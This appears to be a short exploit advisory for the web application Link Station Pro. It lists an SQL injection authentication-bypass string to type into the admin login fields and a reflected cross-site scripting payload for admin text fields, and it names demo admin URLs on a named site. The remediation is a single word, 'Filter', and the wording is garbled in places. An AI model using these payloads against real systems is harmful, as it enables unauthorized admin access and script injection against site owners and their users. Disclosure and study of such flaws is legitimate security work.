Multiple defects and repair of Link Station Pro

BREIF DESCRIPTION

*****************************

Link Station Pro is without doubt, the most efficient, easiest and most

Retriable reciprocal link management tool available for all your

Reciprocal link requirements.

**************************************** **************************************** **************************************** ****

(Auth ByPass) SQLi Vulnerability

***************************************

{DEMO}: http://www.bkjia.com/Partners/admindemo/index. php

EXPLOIT:

Username: 'or 'bug' = 'bug '#

Password: 'or 'bug' = 'bug '#

Observe: Attackers can use Authentication Bypass to get into Admin Panel in

The site.

Reflected XSS Vulnerability

********************************

EXPLOIT 2: XSS Vulnerability in admin panel (in most of the text fields)

{Demo }:

Http://www.bkjia.com/Partners/admindemo/manage_categories.php

Exploit: ">>< marquee>

Fix: Filter